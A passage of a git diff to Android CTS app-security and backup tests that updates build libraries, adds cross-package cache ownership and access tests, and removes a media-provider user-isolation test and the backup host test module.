             assertNotNull("Valid media must be inserted during CTS", path);
@@ -122,6 +123,12 @@
 
             assertEquals(32, readInt(directChild));
             assertEquals(64, readInt(subdirChild));
+
+            assertTrue("Must be able to set last modified", directChild.setLastModified(testValue));
+            assertTrue("Must be able to set last modified", subdirChild.setLastModified(testValue));
+
+            assertEquals(testValue, directChild.lastModified());
+            assertEquals(testValue, subdirChild.lastModified());
         }
 
         for (File path : paths) {
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
index 31dcd58..c601a3d 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_PACKAGE_NAME := CtsInstrumentationAppDiffCert
 
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
index fd4d927..2ebfefe 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml
index fe1771b..8b599f2 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml
@@ -25,10 +25,4 @@
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
-    <receiver android:name=".MultiUserStorageTest$TestReceiver">
-        <intent-filter>
-            <action android:name="RUN_AFTER_BOOT_COMPLETED"/>
-        </intent-filter>
-    </receiver>
-
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java
index bc6bb5c..d9f00d2 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java
@@ -17,25 +17,15 @@
 package com.android.cts.multiuserstorageapp;
 
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirNoAccess;
-import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileNoAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.getAllPackageSpecificPathsExceptObb;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.readInt;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.writeInt;
 
-import android.content.BroadcastReceiver;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.Intent;
-import android.net.Uri;
 import android.os.Environment;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
 import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Test multi-user emulated storage environment, ensuring that each user has
@@ -148,48 +138,6 @@
         }
     }
 
-    /**
-     * Verify that files cannot be accessed through media provider.
-     */
-    public void testMediaProviderUserIsolation() throws Exception {
-        // Ensure BOOT_COMPLETED has already been delivered to all apps, by sending an ordered
-        // broadcast with 1 manifest receiver and wait for it to be processed
-        final CountDownLatch cdl = new CountDownLatch(1);
-        mContext.sendOrderedBroadcast(new Intent("RUN_AFTER_BOOT_COMPLETED"), null,
-                new BroadcastReceiver() {
-                    @Override
-                    public void onReceive(Context context, Intent intent) {
-                        cdl.countDown();
-                    }
-                }, null, 0, null, null);
-        cdl.await(1, TimeUnit.MINUTES);
-
-        final File myPath = Environment.getExternalStorageDirectory();
-        final int myId = android.os.Process.myUid() / 100000;
-        assertEquals(String.valueOf(myId), myPath.getName());
-
-        Log.d(TAG, "My path is " + myPath + " user id " + myId);
-        final File basePath = myPath.getParentFile();
-        for (int i = 0; i < 128; i++) {
-            if (i == myId) continue;
-            final File otherPath = new File(basePath,i + "/" + FILE_SINGLETON);
-            assertFileNoAccess(otherPath);
-
-            final String URI_MEDIA_STRING = "content://media/external/audio/media/";
-            ContentResolver contentResolver = mContext.getContentResolver();
-            ContentValues cv = new ContentValues();
-            cv.put("_data", otherPath.getAbsolutePath());
-            contentResolver.insert(Uri.parse(URI_MEDIA_STRING), cv);
-
-            try {
-                mContext.getContentResolver().openInputStream(Uri.parse(URI_MEDIA_STRING));
-                fail("Accessing through media provider should not be allowed. Path " + myPath);
-            } catch (FileNotFoundException expected) {
-                // OK
-            }
-        }
-    }
-
     private File buildApiObbPath(String file) {
         return new File(getContext().getObbDir(), file);
     }
@@ -213,11 +161,4 @@
     private static File buildRawPath(String file) {
         return new File("/sdcard/", file);
     }
-
-    // Used in testMediaProviderUserIsolation
-    public static class TestReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-        }
-    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index c2c6d0f..1ea4eba 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -52,20 +52,6 @@
 
 include $(BUILD_PREBUILT)
 
-# Add package to the set of APKs available to CTS
-# Unceremoneously ripped from cts/build/support_package.mk
-cts_support_apks :=
-$(foreach fp, $(ALL_MODULES.$(LOCAL_MODULE).BUILT_INSTALLED),\
-  $(eval pair := $(subst :,$(space),$(fp)))\
-  $(eval built := $(word 1,$(pair)))\
-  $(eval installed := $(CTS_TESTCASES_OUT)/$(notdir $(word 2,$(pair))))\
-  $(eval $(call copy-one-file, $(built), $(installed)))\
-  $(eval cts_support_apks += $(installed)))
-
-# Have the module name depend on the cts files; so the cts files get generated when you run mm/mmm/mma/mmma.
-$(my_register_name) : $(cts_support_apks)
-
-
 ###########################################################
 # Variant: Privileged app upgrade (wrong SHA)
 
@@ -82,16 +68,3 @@
 LOCAL_SRC_FILES := CtsShimPrivUpgradeWrongSHA.apk
 
 include $(BUILD_PREBUILT)
-
-# Add package to the set of APKs available to CTS
-# Unceremoneously ripped from cts/build/support_package.mk
-cts_support_apks :=
-$(foreach fp, $(ALL_MODULES.$(LOCAL_MODULE).BUILT_INSTALLED),\
-  $(eval pair := $(subst :,$(space),$(fp)))\
-  $(eval built := $(word 1,$(pair)))\
-  $(eval installed := $(CTS_TESTCASES_OUT)/$(notdir $(word 2,$(pair))))\
-  $(eval $(call copy-one-file, $(built), $(installed)))\
-  $(eval cts_support_apks += $(installed)))
-
-# Have the module name depend on the cts files; so the cts files get generated when you run mm/mmm/mma/mmma.
-$(my_register_name) : $(cts_support_apks)
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
index adf6a14..519dac5 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadMultiViewTest.java b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadMultiViewTest.java
new file mode 100644
index 0000000..6061117
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadMultiViewTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.readexternalstorageapp;
+
+import static android.test.MoreAsserts.assertNotEqual;
+
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.PACKAGE_WRITE;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileReadOnlyAccess;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileReadWriteAccess;
+
+import android.system.Os;
+
+import android.test.AndroidTestCase;
+
+import java.io.File;
+import java.util.List;
+
+public class ReadMultiViewTest extends AndroidTestCase {
+    /**
+     * Create a file in PACKAGE_READ's cache.
+     */
+    public void testFolderSetup() throws Exception {
+        final File ourCache = getContext().getExternalCacheDir();
+        final File ourTestDir = new File(ourCache, "testDir");
+        final File ourFile = new File(ourTestDir, "test.probe");
+
+        ourFile.getParentFile().mkdirs();
+        assertTrue(ourFile.createNewFile());
+    }
+
+    /**
+     * Verify that we have R/W access to test.probe in our cache.
+     */
+    public void testRWAccess() throws Exception {
+        final File ourCache = getContext().getExternalCacheDir();
+        final File ourTestDir = new File(ourCache, "testDir");
+        final File testFile = new File(ourTestDir, "test.probe");
+
+        assertFileReadWriteAccess(testFile);
+        assertEquals(Os.getuid(), Os.stat(ourCache.getAbsolutePath()).st_uid);
+        assertEquals(Os.getuid(), Os.stat(ourTestDir.getAbsolutePath()).st_uid);
+        assertEquals(Os.getuid(), Os.stat(testFile.getAbsolutePath()).st_uid);
+    }
+
+    /**
+     * Verify that we have RO access to test.probe in PACKAGE_WRITE's cache.
+     */
+    public void testROAccess() throws Exception {
+        final File ourCache = getContext().getExternalCacheDir();
+        final File otherCache = new File(ourCache.getAbsolutePath()
+                .replace(getContext().getPackageName(), PACKAGE_WRITE));
+        final File otherTestDir = new File(otherCache, "testDir");
+        final File testFile = new File(otherTestDir, "test.probe");
+
+        assertFileReadOnlyAccess(testFile);
+        assertNotEqual(Os.getuid(), Os.stat(testFile.getAbsolutePath()).st_uid);
+        assertNotEqual(Os.getuid(), Os.stat(otherCache.getAbsolutePath()).st_uid);
+        assertNotEqual(Os.getuid(), Os.stat(otherTestDir.getAbsolutePath()).st_uid);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index e12feec..6fcccef 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -48,7 +48,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -75,7 +75,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -101,7 +101,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
index 9ee5921..ddad5c4 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
@@ -19,7 +19,12 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctsdeviceutil ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    ctsdeviceutil \
+    ctstestrunner \
+    ub-uiautomator \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java \
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
index c8e05c5..13d4b7a 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
@@ -19,7 +19,12 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctsdeviceutil ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    ctsdeviceutil \
+    ctstestrunner \
+    ub-uiautomator \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index 4367aff..dc7afad 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -443,7 +443,7 @@
         getInstrumentation().getUiAutomation().executeAndWaitForEvent(
                 () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
                 (AccessibilityEvent event) -> event.getEventType()
-                        == AccessibilityEvent.TYPE_VIEW_CLICKED,
+                        == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED,
                 GLOBAL_TIMEOUT_MILLIS);
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
index bda6782..a02d791 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
@@ -22,7 +22,7 @@
     ../PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/GrantUriPermission.java
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
 
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
index 0729b66..4cf75f6 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
@@ -18,7 +18,9 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	android-support-test \
+	legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteMultiViewTest.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteMultiViewTest.java
new file mode 100644
index 0000000..db1c721
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteMultiViewTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.writeexternalstorageapp;
+
+import static android.test.MoreAsserts.assertNotEqual;
+
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.PACKAGE_READ;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileReadWriteAccess;
+
+import android.system.Os;
+
+import android.test.AndroidTestCase;
+
+
+import android.util.Log;
+
+import java.io.File;
+import java.util.List;
+
+public class WriteMultiViewTest extends AndroidTestCase {
+    /**
+     * Move PACKAGE_READ's cache to our cache
+     */
+    public void testMoveAway() throws Exception {
+        final File ourCache = getContext().getExternalCacheDir();
+        final File otherCache = new File(ourCache.getAbsolutePath()
+                .replace(getContext().getPackageName(), PACKAGE_READ));
+        final File ourTestDir = new File(ourCache, "testDir");
+        final File otherTestDir = new File(otherCache, "testDir");
+        final File beforeFile = new File(otherTestDir, "test.probe");
+        final File afterFile = new File(ourTestDir, "test.probe");
+
+        Os.rename(otherTestDir.getAbsolutePath(), ourTestDir.getAbsolutePath());
+
+        assertEquals(Os.getuid(), Os.stat(ourCache.getAbsolutePath()).st_uid);
+        assertEquals(Os.getuid(), Os.stat(ourTestDir.getAbsolutePath()).st_uid);
+        assertEquals(Os.getuid(), Os.stat(afterFile.getAbsolutePath()).st_uid);
+    }
+
+    /**
+     * Move our cache to PACKAGE_READ's cache
+     */
+    public void testMoveBack() throws Exception {
+        final File ourCache = getContext().getExternalCacheDir();
+        final File otherCache = new File(ourCache.getAbsolutePath()
+                .replace(getContext().getPackageName(), PACKAGE_READ));
+        final File ourTestDir = new File(ourCache, "testDir");
+        final File otherTestDir = new File(otherCache, "testDir");
+        final File beforeFile = new File(ourTestDir, "test.probe");
+        final File afterFile = new File(otherTestDir, "test.probe");
+
+        Os.rename(ourTestDir.getAbsolutePath(), otherTestDir.getAbsolutePath());
+
+        assertNotEqual(Os.getuid(), Os.stat(otherCache.getAbsolutePath()).st_uid);
+        assertNotEqual(Os.getuid(), Os.stat(otherTestDir.getAbsolutePath()).st_uid);
+        assertNotEqual(Os.getuid(), Os.stat(afterFile.getAbsolutePath()).st_uid);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
index d1eeffa..5c20d49 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 LOCAL_PACKAGE_NAME := CtsKeySetTestApp
 LOCAL_DEX_PREOPT := false
 
diff --git a/hostsidetests/backup/Android.mk b/hostsidetests/backup/Android.mk
deleted file mode 100644
index 194341b..0000000
--- a/hostsidetests/backup/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_RESOURCE_DIRS := assets/
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MODULE := CtsBackupHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
deleted file mode 100644
index 2ea4663..0000000
--- a/hostsidetests/backup/AndroidTest.xml
+++ /dev/null
@@ -1,25 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Backup host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsBackupRestoreDeviceApp.apk" />
-        <option name="test-file-name" value="CtsFullbackupApp.apk" />
-    </target_preparer>
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsBackupHostTestCases.jar" />
-    </test>
-</configuration>
diff --git a/hostsidetests/backup/app/Android.mk b/hostsidetests/backup/app/Android.mk
deleted file mode 100644
index 248207c..0000000
--- a/hostsidetests/backup/app/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_PACKAGE_NAME := CtsBackupRestoreDeviceApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/app/AndroidManifest.xml b/hostsidetests/backup/app/AndroidManifest.xml
deleted file mode 100644
index 0d3aee8..0000000
--- a/hostsidetests/backup/app/AndroidManifest.xml
+++ /dev/null
@@ -1,40 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2017 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.backup.cts.backuprestoreapp">
-
-    <application
-        android:backupAgent="CtsBackupRestoreBackupAgent">
-        <uses-library android:name="android.test.runner" />
-
-        <activity
-            android:name=".KeyValueBackupRandomDataActivity"
-            android:launchMode="singleInstance">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-            </intent-filter>
-        </activity>
-
-    </application>
-
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.backup.cts.backuprestoreapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/CtsBackupRestoreBackupAgent.java b/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/CtsBackupRestoreBackupAgent.java
deleted file mode 100644
index e692fdd..0000000
--- a/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/CtsBackupRestoreBackupAgent.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.backup.cts.backuprestoreapp;
-
-import android.app.backup.BackupAgentHelper;
-
-public class CtsBackupRestoreBackupAgent extends BackupAgentHelper {
-    private static final String KEY_BACKUP_TEST_PREFS_PREFIX = "backup-test-prefs";
-    private static final String KEY_BACKUP_TEST_FILES_PREFIX = "backup-test-files";
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-        addHelper(KEY_BACKUP_TEST_PREFS_PREFIX,
-                KeyValueBackupRandomDataActivity.getSharedPreferencesBackupHelper(this));
-        addHelper(KEY_BACKUP_TEST_FILES_PREFIX,
-                KeyValueBackupRandomDataActivity.getFileBackupHelper(this));
-    }
-}
diff --git a/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/KeyValueBackupRandomDataActivity.java b/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/KeyValueBackupRandomDataActivity.java
deleted file mode 100644
index 92db3f3..0000000
--- a/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/KeyValueBackupRandomDataActivity.java
+++ /dev/null
@@ -1,228 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.backup.cts.backuprestoreapp;
-
-import android.app.Activity;
-import android.app.backup.BackupManager;
-import android.app.backup.FileBackupHelper;
-import android.app.backup.SharedPreferencesBackupHelper;
-import android.content.Context;
-import android.content.SharedPreferences;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.util.Log;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.PrintWriter;
-import java.util.Random;
-import java.util.Scanner;
-
-/**
- * Test activity that reads/writes to shared preferences and files.
- *
- * It uses logcat messages to send the data to the host side of the test.
- * The format of logcat messages: "DATA_PREF: VALUE".
- * VALUES_LOADED_MESSAGE is logged after all the values.
- *
- * Workflow onCreate:
- * - Read shared preferences and files
- * - If the values are default ones:
- *      - Randomly generate new values
- *      - Save new values to shared preferences and files
- *      - Load the new values.
- *
